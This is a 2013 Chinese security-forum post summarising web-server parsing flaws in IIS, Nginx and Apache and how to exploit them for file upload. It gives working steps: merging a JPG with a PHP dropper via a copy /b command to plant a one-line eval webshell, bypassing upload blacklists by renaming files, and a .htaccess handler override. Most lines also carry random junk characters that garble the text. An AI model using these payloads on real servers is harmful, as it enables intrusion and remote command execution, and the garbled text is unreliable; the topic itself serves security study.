找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2985|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain
4 O3 r* u, U: o. r8 K" @[+]IIS6.0
8 f7 o' ?7 R1 s3 \/ H( a/ R & O0 z  R! W9 d0 |5 y3 {1 |) z* B  r6 \
目录解析:/xx.asp/xx.jpg # c7 g$ e7 L9 y% R8 T2 L
xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
& v4 O# N8 r0 q+ ]8 K% [( R IIS6.0 会将 xx.jpg 解析为 asp 文件。
$ D3 [, n/ J' c* m" [& T后缀解析:/xx.asp;.jpg     : d; j2 j6 V5 B5 V: H4 V$ N
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。: ~& E; U4 s2 a% |. m
默认解析:/xx.asa! m0 F: t3 F( b" s
         /xx.cer
" P# x9 W8 d: i  R' d4 @% b8 B         /xx.cdx
( @+ e1 d) x0 i# n IIS6.0 默认的可执行文件除了 asp 还包含这三种
3 Z1 e% I5 A; r  K2 x6 F 此处可联系利用目录解析漏洞
$ I  c$ t, @8 l$ U# p/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
" ^2 }6 K8 }: l- |' X[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
7 A/ P2 l7 X% Z/ F7 M5 J; C0 R
; f* b; _, k3 K- b  c2 s IIS 7.0/IIS 7.5/Nginx <0.8.032 @% T: y7 O+ O
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面2 t. p  H4 }. A
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。, P8 d$ T  B+ A% Q( r# ^2 [
常用利用方法:' d' |4 D0 ]( U5 e
将一张图和一个写入后门代码的文本文件合并将恶意文本5 R" K: i; J( i2 [; d2 |7 p' b
写入图片的二进制代码之后,避免破坏图片文件头和尾
- l* N8 n* e$ K) c 如:& x$ j6 V3 z1 x+ S5 O3 j
copy xx.jpg /b + yy.txt/a xy.jpg
) U4 h* A5 ~* i8 ^4 {$ K9 {+ q: E$ ^ #########################################################; [4 R& A" y! l
/b 即二进制[binary]模式/ ~6 E/ [) [4 h) _
/a 即ascii模式
, Q$ K" E5 C9 J9 M3 M+ L xx.jpg 正常图片文件% b/ W+ |& D7 b7 s' E4 F5 c9 J; I
yy.txt 内容 <?PHP fputs(fopen('shell.php','w')," n# u' j  r# b' }" G
'<?php eval($_POST[cmd])?>');?>5 b4 ]& J2 Q9 E5 d  R0 E, K
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
: F0 G1 b. v, @) `2 y& q& v) x 为shell.php的文件
$ U" e6 K! b: z2 p7 e ###########################################################
, {/ R& [' j$ m5 r, N 找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php ) Q* ^9 j" x. Y! `* O
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
2 l' W) D% F6 B6 B, k9 f  } 密码 cmd5 t& q  D' [, ~3 s& ~% c
[+]Nginx <0.8.03
  Q2 r& g) p9 r! f" j : U% X$ y9 s  V  z) e
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞
: c; h/ s: M- g& |$ k- ] 在一个文件路径(/xx.jpg)后面加上%00.php
& c& c8 H/ d: X9 V 会将 /xx.jpg%00.php 解析为 php 文件。7 N0 K# v- g* s- y9 L7 I: o
[+]Apache<0.8.03
! a) Q, I" P  M" F: E- i" P
1 N, r) M2 I; [0 S/ S 后缀解析:test.php.x1.x2.x32 |1 C- T9 c8 m# f) _. O, N
Apache将从右至左开始判断后缀,若x3非可识别后缀,; R9 Q& ]  P3 p" y* Z$ E3 C
再判断x2,直到找到可识别后缀为止,然后将该可识别
6 s; y0 t# t: E. R1 o6 z* Z" f 后缀进解析test.php.x1.x2.x3 则会被解析为php
; @0 D6 \0 c8 T# T 经验之谈:php|php3|phtml 多可被Apache解析。
# W( k3 N4 Q6 r7 v, D0 i, _[+]其他一些可利用的0 }; x4 ?2 S3 ~8 G) z

% z& R. A' D6 V在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的; f2 w' H, z0 R8 R+ s( Q' y
若这样命名,windows会默认除去空格或点,这也是可以被利用的!
+ U5 j$ f- h4 r3 J在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格- E* t) p4 {+ p! a8 ]. H
或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可+ E/ P6 [9 o. F5 ^  [
得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
5 H% i* H& W# h0 n( g2 Q: I4 m{Linux主机中不行,Linux允许这类文件存在}, V5 r* P; I7 r4 c* B
如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
/ z! q" B% t2 r5 t2 a, k的,当初我并不知道),且可以被上传,那可以尝试在2 V3 T- i" L: B0 v5 }1 e" P& ^
.htaccess中写入:- I2 Q$ P5 ?% X6 u/ a1 m
<FilesMatch “shell.jpg”>
+ [5 ]) Z  K- `SetHandler application/x-httpd-php
4 ?8 e) D- q4 |& y</FilesMatch>1 m) U6 F+ m' T6 I1 [
shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
9 G; L+ |% ]  v# W2 R6 @[+]错误修改" N' h* T* V" y) ~' G  p
8 F4 V( g0 u5 r) x1 G$ ]; u
在 IIS 6.0 下可解析 /xx.asp:.jpg8 _& V, ?+ S4 w. V
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
, V: w* O" g; S# r& D; R8 g剩下/xx.asp}修改:
% I9 d' N  g7 T先谢谢核攻击的提醒
! O# J9 j/ I: t当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp' |3 l! k* s/ p8 W
里是没有任何内容的,因为。。不好解释 大家自己看3 n/ K/ I* k1 P8 \4 h, d
http://lcx.cc/?i=24487 i( _# f; v& J/ S6 i
http://baike.baidu.com/view/3619593.htm* L/ K4 e: [% d. ~5 R# K
​, p; ~: U" {. G
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表